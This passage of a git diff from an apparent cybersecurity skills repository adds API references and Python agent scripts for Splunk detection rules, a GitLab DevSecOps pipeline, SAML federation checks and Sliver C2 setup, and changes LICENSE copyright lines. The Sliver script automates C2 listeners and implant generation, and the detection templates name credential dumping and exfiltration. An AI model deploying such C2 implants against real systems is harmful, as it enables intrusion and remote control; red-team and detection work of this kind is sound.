"r", encoding="utf-8", errors="ignore") as f: + text = f.read() + result = process_report(text, filepath) + processed.append(result) + logger.info("Processed %s: %d techniques", filepath, result["techniques_found"]) + + library = build_pattern_library(processed) + report = generate_report(processed, library) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-automated-malware-submission-pipeline/LICENSE b/skills/building-automated-malware-submission-pipeline/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-automated-malware-submission-pipeline/LICENSE +++ b/skills/building-automated-malware-submission-pipeline/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-c2-infrastructure-with-sliver-framework/LICENSE b/skills/building-c2-infrastructure-with-sliver-framework/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-c2-infrastructure-with-sliver-framework/LICENSE +++ b/skills/building-c2-infrastructure-with-sliver-framework/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md b/skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md new file mode 100644 index 00000000..899108ee --- /dev/null +++ b/skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Sliver C2 Framework + +## Sliver CLI Commands +| Command | Description | +|---------|-------------| +| `generate --mtls host:port` | Generate session implant | +| `generate beacon --mtls host:port` | Generate beacon implant | +| `mtls --lhost IP --lport PORT` | Start mTLS listener | +| `https --lhost IP --lport PORT` | Start HTTPS listener | +| `dns --domains domain.com` | Start DNS listener | +| `sessions` | List active sessions | +| `beacons` | List active beacons | +| `use SESSION_ID` | Interact with session | + +## Generate Options +| Flag | Description | +|------|-------------| +| `--name` | Implant name | +| `--os` | Target OS (windows/linux/darwin) | +| `--arch` | Architecture (amd64/386/arm64) | +| `--format` | exe/shellcode/shared-lib | +| `--seconds` | Beacon callback interval | +| `--jitter` | Beacon jitter percentage | +| `--mtls` | mTLS C2 endpoint | +| `--https` | HTTPS C2 endpoint | +| `--dns` | DNS C2 domain | + +## Listener Types +| Type | Port | Use Case | +|------|------|----------| +| mTLS | 8888 | Encrypted, reliable | +| HTTPS | 443 | Blends with web traffic | +| DNS | 53 | Bypasses network filters | +| WireGuard | 51820 | VPN-based C2 | + +## Post-Exploitation +``` +execute-assembly # .NET assembly in memory +sideload # DLL sideloading +shell # Interactive shell +upload/download # File transfer +portfwd # Port forwarding +socks5 # SOCKS5 proxy +``` + +## Sliver gRPC API (Protobuf) +```python +import grpc +from sliverpb import client_pb2_grpc +channel = grpc.secure_channel("localhost:31337", credentials) +stub = client_pb2_grpc.SliverRPCStub(channel) +``` diff --git a/skills/building-c2-infrastructure-with-sliver-framework/scripts/agent.py b/skills/building-c2-infrastructure-with-sliver-framework/scripts/agent.py new file mode 100644 index 00000000..f4fbec24 --- /dev/null +++ b/skills/building-c2-infrastructure-with-sliver-framework/scripts/agent.py @@ -0,0 +1,102 @@ +#!/usr/bin/env python3 +# For authorized penetration testing and lab environments only +"""Sliver C2 Framework Deployment Agent - Automates Sliver C2 setup for authorized red team engagements.""" + +import json +import subprocess +import logging +import argparse +from datetime import datetime + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def run_sliver_cmd(cmd, sliver_path="sliver-client"): + """Execute a Sliver client command.""" + try: + result = subprocess.run([sliver_path] + cmd, capture_output=True, text=True, timeout=60) + return {"stdout": result.stdout, "stderr": result.stderr, "returncode": result.returncode} + except (FileNotFoundError, subprocess.TimeoutExpired) as e: + return {"error": str(e)} + + +def generate_implant(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, format_type="exe", sliver_path="sliver-client"): + """Generate a Sliver implant (beacon or session).""" + cmd = ["generate", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}"] + if format_type == "shellcode": + cmd.append("--format=shellcode") + elif format_type == "shared": + cmd.append("--format=shared-lib") + result = run_sliver_cmd(cmd, sliver_path) + logger.info("Generated implant: %s (%s/%s)", name, os_target, arch) + return {"implant_name": name, "os": os_target, "arch": arch, "c2": f"{c2_host}:{c2_port}", "result": result} + + +def generate_beacon(name, os_target="windows", arch="amd64", c2_host="", c2_port=443, interval="60s", jitter="30", sliver_path="sliver-client"): + """Generate a Sliver beacon implant.""" + cmd = ["generate", "beacon", "--name", name, "--os", os_target, "--arch", arch, "--mtls", f"{c2_host}:{c2_port}", "--seconds", interval, "--jitter", jitter] + result = run_sliver_cmd(cmd, sliver_path) + return {"beacon_name": name, "interval": interval, "jitter": jitter, "result": result} + + +def setup_listeners(c2_host, mtls_port=8888, https_port=443, dns_domain=None, sliver_path="sliver-client"): + """Configure C2 listeners.""" + listeners = [] + mtls_result = run_sliver_cmd(["mtls", "--lhost", c2_host, "--lport", str(mtls_port)], sliver_path) + listeners.append({"type": "mTLS", "host": c2_host, "port": mtls_port, "result": mtls_result}) + https_result = run_sliver_cmd(["https", "--lhost", c2_host, "--lport", str(https_port)], sliver_path) + listeners.append({"type": "HTTPS", "host": c2_host, "port": https_port, "result": https_result}) + if dns_domain: + dns_result = run_sliver_cmd(["dns", "--domains", dns_domain], sliver_path) + listeners.append({"type": "DNS", "domain": dns_domain, "result": dns_result}) + return listeners + + +def list_sessions(sliver_path="sliver-client"): + """List active sessions.""" + return run_sliver_cmd(["sessions"], sliver_path) + + +def list_beacons(sliver_path="sliver-client"): + """List active beacons.""" + return run_sliver_cmd(["beacons"], sliver_path) + + +def generate_report(listeners, implants, sessions_output, beacons_output): + """Generate C2 infrastructure report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "disclaimer": "For authorized penetration testing only", + "listeners": listeners, + "implants_generated": implants, + "active_sessions": sessions_output, + "active_beacons": beacons_output, + } + print(f"SLIVER REPORT: {len(listeners)} listeners, {len(implants)} implants") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Sliver C2 Framework Deployment Agent (Authorized Testing Only)") + parser.add_argument("--c2-host", required=True, help="C2 server IP/hostname") + parser.add_argument("--implant-name", default="test_implant") + parser.add_argument("--os", default="windows", choices=["windows", "linux", "darwin"]) + parser.add_argument("--arch", default="amd64", choices=["amd64", "386", "arm64"]) + parser.add_argument("--sliver-path", default="sliver-client") + parser.add_argument("--output", default="sliver_report.json") + args = parser.parse_args() + + listeners = setup_listeners(args.c2_host, sliver_path=args.sliver_path) + implant = generate_implant(args.implant_name, args.os, args.arch, args.c2_host, sliver_path=args.sliver_path) + sessions = list_sessions(args.sliver_path) + beacons = list_beacons(args.sliver_path) + + report = generate_report(listeners, [implant], sessions, beacons) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-cloud-security-posture-management/LICENSE b/skills/building-cloud-security-posture-management/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-cloud-security-posture-management/LICENSE +++ b/skills/building-cloud-security-posture-management/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-cloud-siem-with-sentinel/LICENSE b/skills/building-cloud-siem-with-sentinel/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-cloud-siem-with-sentinel/LICENSE +++ b/skills/building-cloud-siem-with-sentinel/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-detection-rule-with-splunk-spl/LICENSE b/skills/building-detection-rule-with-splunk-spl/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-detection-rule-with-splunk-spl/LICENSE +++ b/skills/building-detection-rule-with-splunk-spl/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-detection-rule-with-splunk-spl/references/api-reference.md b/skills/building-detection-rule-with-splunk-spl/references/api-reference.md new file mode 100644 index 00000000..d852ef6c --- /dev/null +++ b/skills/building-detection-rule-with-splunk-spl/references/api-reference.md @@ -0,0 +1,49 @@ +# API Reference: Splunk SPL Detection Rules + +## Splunk REST API - Saved Searches +``` +POST /servicesNS/{owner}/{app}/saved/searches +Authorization: Bearer TOKEN +``` +| Field | Description | +|-------|-------------| +| `name` | Saved search name | +| `search` | SPL query string | +| `is_scheduled` | 1 for scheduled | +| `cron_schedule` | Cron expression (e.g., `*/5 * * * *`) | +| `dispatch.earliest_time` | Start of search window | +| `alert.severity` | 1-5 (info to critical) | +| `alert_type` | `number of events` | +| `alert_threshold` | Trigger threshold | + +## Key SPL Commands +| Command | Description | +|---------|-------------| +| `stats count by field` | Aggregate events | +| `where count > N` | Filter results | +| `table field1, field2` | Select fields | +| `eval` | Compute new fields | +| `lookup` | Enrich from lookup table | +| `tstats` | Accelerated data model search | +| `join` | Join two datasets | + +## Windows Event IDs for Detection +| EventCode | Source | Description | +|-----------|--------|-------------| +| 4624 | Security | Successful logon | +| 4625 | Security | Failed logon | +| 4648 | Security | Explicit credential logon | +| 4698 | Security | Scheduled task created | +| 4104 | PowerShell | Script block logging | +| 1 | Sysmon | Process creation | +| 3 | Sysmon | Network connection | +| 10 | Sysmon | Process access | + +## Alert Severity Levels +| Level | Value | Description | +|-------|-------|-------------| +| Info | 1 | Informational | +| Low | 2 | Low risk | +| Medium | 3 | Medium risk | +| High | 4 | High risk | +| Critical | 5 | Critical risk | diff --git a/skills/building-detection-rule-with-splunk-spl/scripts/agent.py b/skills/building-detection-rule-with-splunk-spl/scripts/agent.py new file mode 100644 index 00000000..620eeeb9 --- /dev/null +++ b/skills/building-detection-rule-with-splunk-spl/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""Splunk SPL Detection Rule Builder Agent - Generates and validates Splunk detection rules.""" + +import json +import logging +import argparse +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +DETECTION_TEMPLATES = { + "brute_force": { + "spl": 'index=main sourcetype=WinEventLog:Security EventCode=4625 | stats count by src_ip, user | where count > {threshold}', + "description": "Detect brute force login attempts", + "mitre": "T1110", + "severity": "high", + }, + "lateral_movement_rdp": { + "spl": 'index=main sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=10 | stats count by src_ip, dest, user | where count > 1', + "description": "Detect RDP lateral movement", + "mitre": "T1021.001", + "severity": "high", + }, + "powershell_encoded": { + "spl": 'index=main sourcetype=WinEventLog:Security EventCode=4104 ScriptBlockText="*-EncodedCommand*" OR ScriptBlockText="*FromBase64String*" | table _time, ComputerName, ScriptBlockText', + "description": "Detect encoded PowerShell execution", + "mitre": "T1059.001", + "severity": "critical", + }, + "suspicious_process": { + "spl": 'index=main sourcetype=sysmon EventCode=1 (ParentImage="*\\\\cmd.exe" OR ParentImage="*\\\\powershell.exe") (Image="*\\\\whoami.exe" OR Image="*\\\\net.exe" OR Image="*\\\\nltest.exe") | table _time, Computer, User, ParentImage, Image, CommandLine', + "description": "Detect suspicious child process spawning", + "mitre": "T1059.003", + "severity": "high", + }, + "scheduled_task_creation": { + "spl": 'index=main sourcetype=WinEventLog:Security EventCode=4698 | table _time, SubjectUserName, TaskName, TaskContent', + "description": "Detect new scheduled task creation", + "mitre": "T1053.005", + "severity": "medium", + }, + "credential_dumping": { + "spl": 'index=main sourcetype=sysmon EventCode=10 TargetImage="*\\\\lsass.exe" GrantedAccess IN ("0x1010", "0x1038", "0x1fffff") | table _time, SourceImage, TargetImage, GrantedAccess', + "description": "Detect LSASS memory access (credential dumping)", + "mitre": "T1003.001", + "severity": "critical", + }, + "data_exfiltration": { + "spl": 'index=main sourcetype=proxy | stats sum(bytes_out) as total_bytes by src_ip, dest | where total_bytes > {threshold_bytes} | eval MB=round(total_bytes/1024/1024,2)', + "description": "Detect large data transfers (exfiltration)", + "mitre": "T1048", + "severity": "high", + }, +} + + +def generate_spl_rule(template_name, params=None): + """Generate an SPL detection rule from template.""" + if template_name not in DETECTION_TEMPLATES: + return {"error": f"Unknown template: {template_name}"} + template = DETECTION_TEMPLATES[template_name] + spl = template["spl"] + if params: + for key, value in params.items(): + spl = spl.replace(f"{{{key}}}", str(value)) + return { + "name": template_name, + "spl": spl, + "description": template["description"], + "mitre_technique": template["mitre"], + "severity": template["severity"], + } + + +def deploy_saved_search(splunk_url, token, rule_name, spl, severity="high"): + """Deploy a saved search to Splunk via REST API.""" + headers = {"Authorization": f"Bearer {token}"} + data = { + "name": f"Detection - {rule_name}", + "search": spl, + "is_scheduled": 1, + "cron_schedule": "*/5 * * * *", + "dispatch.earliest_time": "-5m", + "dispatch.latest_time": "now", + "alert.severity": {"info": 1, "low": 2, "medium": 3, "high": 4, "critical": 5}.get(severity, 4), + "alert_type": "number of events", + "alert_comparator": "greater than", + "alert_threshold": "0", + "actions": "email", + } + try: + resp = requests.post(f"{splunk_url}/servicesNS/admin/search/saved/searches", headers=headers, data=data, verify=False, timeout=30) + return {"status": resp.status_code, "deployed": resp.status_code in (200, 201)} + except requests.RequestException as e: + return {"error": str(e)} + + +def generate_report(rules, deployment_results=None): + """Generate detection rule report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "rules_generated": len(rules), + "rules": rules, + "deployment_results": deployment_results or [], + } + print(f"SPL REPORT: {len(rules)} detection rules generated") + return report + + +def main(): + parser = argparse.ArgumentParser(description="Splunk SPL Detection Rule Builder Agent") + parser.add_argument("--templates", nargs="*", choices=list(DETECTION_TEMPLATES.keys()), default=list(DETECTION_TEMPLATES.keys())) + parser.add_argument("--threshold", type=int, default=10) + parser.add_argument("--threshold-bytes", type=int, default=104857600) + parser.add_argument("--splunk-url", help="Splunk URL for deployment") + parser.add_argument("--splunk-token", help="Splunk auth token") + parser.add_argument("--output", default="splunk_rules.json") + args = parser.parse_args() + + rules = [] + for template in args.templates: + rule = generate_spl_rule(template, {"threshold": args.threshold, "threshold_bytes": args.threshold_bytes}) + rules.append(rule) + + deployments = [] + if args.splunk_url and args.splunk_token: + for rule in rules: + result = deploy_saved_search(args.splunk_url, args.splunk_token, rule["name"], rule["spl"], rule["severity"]) + deployments.append({"rule": rule["name"], "result": result}) + + report = generate_report(rules, deployments) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-detection-rules-with-sigma/LICENSE b/skills/building-detection-rules-with-sigma/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-detection-rules-with-sigma/LICENSE +++ b/skills/building-detection-rules-with-sigma/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/LICENSE b/skills/building-devsecops-pipeline-with-gitlab-ci/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-devsecops-pipeline-with-gitlab-ci/LICENSE +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md b/skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md new file mode 100644 index 00000000..db4adadb --- /dev/null +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: GitLab CI DevSecOps Pipeline + +## GitLab Security Templates +| Template | Stage | +|----------|-------| +| `Security/SAST.gitlab-ci.yml` | Static analysis | +| `Security/DAST.gitlab-ci.yml` | Dynamic testing | +| `Security/Dependency-Scanning.gitlab-ci.yml` | Dependency audit | +| `Security/Container-Scanning.gitlab-ci.yml` | Container scan | +| `Security/Secret-Detection.gitlab-ci.yml` | Secret detection | +| `Security/IaC-Scanning.gitlab-ci.yml` | IaC security | + +## .gitlab-ci.yml Structure +```yaml +include: + - template: Security/SAST.gitlab-ci.yml + - template: Security/Secret-Detection.gitlab-ci.yml +stages: + - build + - test + - security + - deploy +variables: + SECURE_LOG_LEVEL: info +``` + +## GitLab CI Lint API +``` +POST /api/v4/projects/:id/ci/lint +PRIVATE-TOKEN: your-token +Body: {"content": "yaml-string"} +``` + +## Security Variables +| Variable | Description | +|----------|-------------| +| `SAST_DEFAULT_ANALYZERS` | Comma-separated analyzer list | +| `SAST_EXCLUDED_ANALYZERS` | Analyzers to skip | +| `CS_IMAGE` | Container image to scan | +| `DAST_WEBSITE` | Target URL for DAST | +| `SECRET_DETECTION_HISTORIC_SCAN` | Scan full history | + +## Vulnerability Report API +``` +GET /api/v4/projects/:id/vulnerability_findings +``` + +## Security Scanning Tools +| Tool | Type | Language | +|------|------|----------| +| Semgrep | SAST | Multi-language | +| Bandit | SAST | Python | +| Trivy | Container | Container images | +| Gitleaks | Secret | Git history | +| KICS | IaC | Terraform/CloudFormation | +| ZAP | DAST | Web applications | diff --git a/skills/building-devsecops-pipeline-with-gitlab-ci/scripts/agent.py b/skills/building-devsecops-pipeline-with-gitlab-ci/scripts/agent.py new file mode 100644 index 00000000..60a3680a --- /dev/null +++ b/skills/building-devsecops-pipeline-with-gitlab-ci/scripts/agent.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python3 +"""DevSecOps Pipeline Builder Agent - Generates GitLab CI security scanning pipeline configurations.""" + +import json +import logging +import argparse +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + +SECURITY_STAGES = { + "sast": { + "template": "Security/SAST.gitlab-ci.yml", + "description": "Static Application Security Testing", + "tools": ["semgrep", "bandit", "eslint-security"], + }, + "dast": { + "template": "Security/DAST.gitlab-ci.yml", + "description": "Dynamic Application Security Testing", + "tools": ["zap"], + }, + "dependency_scanning": { + "template": "Security/Dependency-Scanning.gitlab-ci.yml", + "description": "Dependency vulnerability scanning", + "tools": ["gemnasium", "retire.js"], + }, + "container_scanning": { + "template": "Security/Container-Scanning.gitlab-ci.yml", + "description": "Container image vulnerability scanning", + "tools": ["trivy", "grype"], + }, + "secret_detection": { + "template": "Security/Secret-Detection.gitlab-ci.yml", + "description": "Secret and credential detection", + "tools": ["gitleaks"], + }, + "license_scanning": { + "template": "Jobs/License-Scanning.gitlab-ci.yml", + "description": "License compliance scanning", + "tools": ["license-finder"], + }, + "iac_scanning": { + "template": "Security/IaC-Scanning.gitlab-ci.yml", + "description": "Infrastructure as Code scanning", + "tools": ["kics"], + }, +} + + +def generate_gitlab_ci(stages, project_type="python", registry="$CI_REGISTRY"): + """Generate .gitlab-ci.yml with security scanning stages.""" + ci_config = { + "stages": ["build", "test", "security", "deploy"], + "include": [], + "variables": { + "SECURE_LOG_LEVEL": "info", + "SAST_EXCLUDED_ANALYZERS": "", + }, + } + for stage_name in stages: + stage = SECURITY_STAGES.get(stage_name) + if stage: + ci_config["include"].append({"template": stage["template"]}) + + if "container_scanning" in stages: + ci_config["variables"]["CS_IMAGE"] = f"{registry}/$CI_PROJECT_PATH:$CI_COMMIT_SHA" + + if project_type == "python": + ci_config["variables"]["SAST_DEFAULT_ANALYZERS"] = "semgrep,bandit" + elif project_type == "javascript": + ci_config["variables"]["SAST_DEFAULT_ANALYZERS"] = "semgrep,eslint" + + return ci_config + + +def validate_pipeline(gitlab_url, token, project_id, ci_content): + """Validate CI configuration via GitLab API.""" + headers = {"PRIVATE-TOKEN": token, "Content-Type": "application/json"} + data = {"content": json.dumps(ci_content)} + try: + resp = requests.post(f"{gitlab_url}/api/v4/projects/{project_id}/ci/lint", headers=headers, json=data, timeout=15) + return resp.json() + except requests.RequestException as e: + return {"error": str(e)} + + +def assess_pipeline_coverage(stages): + """Assess security coverage of the pipeline.""" + all_stages = set(SECURITY_STAGES.keys()) + covered = set(stages) & all_stages + missing = all_stages - covered + coverage = len(covered) / len(all_stages) * 100 + return { + "coverage_percent": round(coverage, 1), + "covered_stages": list(covered), + "missing_stages": list(missing), + "recommendation": "Add " + ", ".join(missing) if missing else "Full coverage", + } + + +def generate_report(ci_config, coverage, stages): + """Generate DevSecOps pipeline report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "stages_configured": stages, + "security_coverage": coverage, + "gitlab_ci_config": ci_config, + } + print(f"DEVSECOPS REPORT: {len(stages)} stages, {coverage['coverage_percent']}% coverage") + return report + + +def main(): + parser = argparse.ArgumentParser(description="DevSecOps Pipeline Builder Agent") + parser.add_argument("--stages", nargs="*", choices=list(SECURITY_STAGES.keys()), default=list(SECURITY_STAGES.keys())) + parser.add_argument("--project-type", choices=["python", "javascript", "java", "go"], default="python") + parser.add_argument("--gitlab-url", help="GitLab URL for validation") + parser.add_argument("--token", help="GitLab private token") + parser.add_argument("--project-id", help="GitLab project ID") + parser.add_argument("--output", default="devsecops_report.json") + args = parser.parse_args() + + ci_config = generate_gitlab_ci(args.stages, args.project_type) + coverage = assess_pipeline_coverage(args.stages) + report = generate_report(ci_config, coverage, args.stages) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-identity-federation-with-saml-azure-ad/LICENSE b/skills/building-identity-federation-with-saml-azure-ad/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-identity-federation-with-saml-azure-ad/LICENSE +++ b/skills/building-identity-federation-with-saml-azure-ad/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md b/skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md new file mode 100644 index 00000000..d187bbaa --- /dev/null +++ b/skills/building-identity-federation-with-saml-azure-ad/references/api-reference.md @@ -0,0 +1,56 @@ +# API Reference: SAML Azure AD Federation + +## Federation Metadata URL +``` +https://login.microsoftonline.com/{tenant-id}/federationmetadata/2007-06/federationmetadata.xml +``` + +## SAML 2.0 Endpoints +| Endpoint | URL | +|----------|-----| +| SSO (POST) | `https://login.microsoftonline.com/{tenant}/saml2` | +| SSO (Redirect) | `https://login.microsoftonline.com/{tenant}/saml2` | +| Logout | `https://login.microsoftonline.com/{tenant}/saml2` | + +## SP Metadata Required Fields +| Field | Description | +|-------|-------------| +| `entityID` | SP unique identifier | +| `AssertionConsumerService` | ACS URL (POST binding) | +| `NameIDFormat` | emailAddress or persistent | +| `SingleLogoutService` | SLO URL (optional) | + +## XML Namespaces +```python +ns = { + "md": "urn:oasis:names:tc:SAML:2.0:metadata", + "ds": "http://www.w3.org/2000/09/xmldsig#", + "saml": "urn:oasis:names:tc:SAML:2.0:assertion", +} +``` + +## SAML Bindings +| Binding | URI | +|---------|-----| +| HTTP-POST | `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST` | +| HTTP-Redirect | `urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect` | +| SOAP | `urn:oasis:names:tc:SAML:2.0:bindings:SOAP` | + +## Azure AD Graph API (App Registration) +``` +POST https://graph.microsoft.com/v1.0/servicePrincipals +Authorization: Bearer TOKEN +{ + "appId": "app-id", + "preferredSingleSignOnMode": "saml", + "loginUrl": "https://app.example.com/login" +} +``` + +## Validation Checks +| Check | Severity | +|-------|----------| +| HTTPS on ACS URL | High | +| Certificate present | Critical | +| HTTP-POST binding available | Medium | +| NameID format configured | Medium | diff --git a/skills/building-identity-federation-with-saml-azure-ad/scripts/agent.py b/skills/building-identity-federation-with-saml-azure-ad/scripts/agent.py new file mode 100644 index 00000000..558308cf --- /dev/null +++ b/skills/building-identity-federation-with-saml-azure-ad/scripts/agent.py @@ -0,0 +1,104 @@ +#!/usr/bin/env python3 +"""SAML Azure AD Federation Agent - Configures and validates SAML SSO with Azure AD.""" + +import json +import logging +import argparse +import xml.etree.ElementTree as ET +from datetime import datetime + +import requests + +logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") +logger = logging.getLogger(__name__) + + +def fetch_federation_metadata(tenant_id): + """Fetch Azure AD SAML federation metadata.""" + url = f"https://login.microsoftonline.com/{tenant_id}/federationmetadata/2007-06/federationmetadata.xml" + resp = requests.get(url, timeout=15) + resp.raise_for_status() + logger.info("Fetched federation metadata for tenant %s", tenant_id) + return resp.text + + +def parse_metadata(xml_text): + """Parse SAML federation metadata XML.""" + ns = {"md": "urn:oasis:names:tc:SAML:2.0:metadata", "ds": "http://www.w3.org/2000/09/xmldsig#"} + root = ET.fromstring(xml_text) + idp_desc = root.find(".//md:IDPSSODescriptor", ns) + sso_services = [] + if idp_desc is not None: + for sso in idp_desc.findall("md:SingleSignOnService", ns): + sso_services.append({"binding": sso.get("Binding"), "location": sso.get("Location")}) + certs = [] + for cert_elem in root.findall(".//ds:X509Certificate", ns): + if cert_elem.text: + certs.append(cert_elem.text.strip()[:100] + "...") + entity_id = root.get("entityID", "") + return {"entity_id": entity_id, "sso_services": sso_services, "certificates": certs} + + +def generate_sp_metadata(entity_id, acs_url, slo_url=None): + """Generate Service Provider SAML metadata.""" + metadata = { + "entityID": entity_id, + "assertionConsumerService": {"binding": "urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST", "location": acs_url}, + "nameIDFormat": "urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress", + } + if slo_url: + metadata["singleLogoutService"] = {"binding": "urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect", "location": slo_url} + return metadata + + +def validate_configuration(idp_metadata, sp_config): + """Validate SAML federation configuration.""" + findings = [] + if not idp_metadata.get("sso_services"): + findings.append({"issue": "No SSO services in IdP metadata", "severity": "critical"}) + if not idp_metadata.get("certificates"): + findings.append({"issue": "No signing certificates in metadata", "severity": "critical"}) + if not sp_config.get("assertionConsumerService", {}).get("location", "").startswith("https://"): + findings.append({"issue": "ACS URL not using HTTPS", "severity": "high"}) + http_redirect = any("HTTP-Redirect" in s.get("binding", "") for s in idp_metadata.get("sso_services", [])) + http_post = any("HTTP-POST" in s.get("binding", "") for s in idp_metadata.get("sso_services", [])) + if not http_post: + findings.append({"issue": "HTTP-POST binding not available", "severity": "medium"}) + return {"valid": len([f for f in findings if f["severity"] == "critical"]) == 0, "findings": findings} + + +def generate_report(idp_metadata, sp_config, validation): + """Generate SAML federation report.""" + report = { + "timestamp": datetime.utcnow().isoformat(), + "idp_metadata": idp_metadata, + "sp_configuration": sp_config, + "validation": validation, + } + status = "VALID" if validation["valid"] else "INVALID" + print(f"SAML REPORT: {status}, {len(validation['findings'])} findings") + return report + + +def main(): + parser = argparse.ArgumentParser(description="SAML Azure AD Federation Agent") + parser.add_argument("--tenant-id", required=True, help="Azure AD tenant ID") + parser.add_argument("--sp-entity-id", required=True, help="Service Provider entity ID") + parser.add_argument("--acs-url", required=True, help="Assertion Consumer Service URL") + parser.add_argument("--slo-url", help="Single Logout URL") + parser.add_argument("--output", default="saml_report.json") + args = parser.parse_args() + + xml_text = fetch_federation_metadata(args.tenant_id) + idp_metadata = parse_metadata(xml_text) + sp_config = generate_sp_metadata(args.sp_entity_id, args.acs_url, args.slo_url) + validation = validate_configuration(idp_metadata, sp_config) + + report = generate_report(idp_metadata, sp_config, validation) + with open(args.output, "w") as f: + json.dump(report, f, indent=2) + logger.info("Report saved to %s", args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/building-identity-governance-lifecycle-process/LICENSE b/skills/building-identity-governance-lifecycle-process/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-identity-governance-lifecycle-process/LICENSE +++ b/skills/building-identity-governance-lifecycle-process/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-incident-response-dashboard/LICENSE b/skills/building-incident-response-dashboard/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-incident-response-dashboard/LICENSE +++ b/skills/building-incident-response-dashboard/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/building-incident-response-playbook/LICENSE b/skills/building-incident-response-playbook/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/building-incident-response-playbook/LICENSE +++ b/skills/building-incident-response-playbook/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills 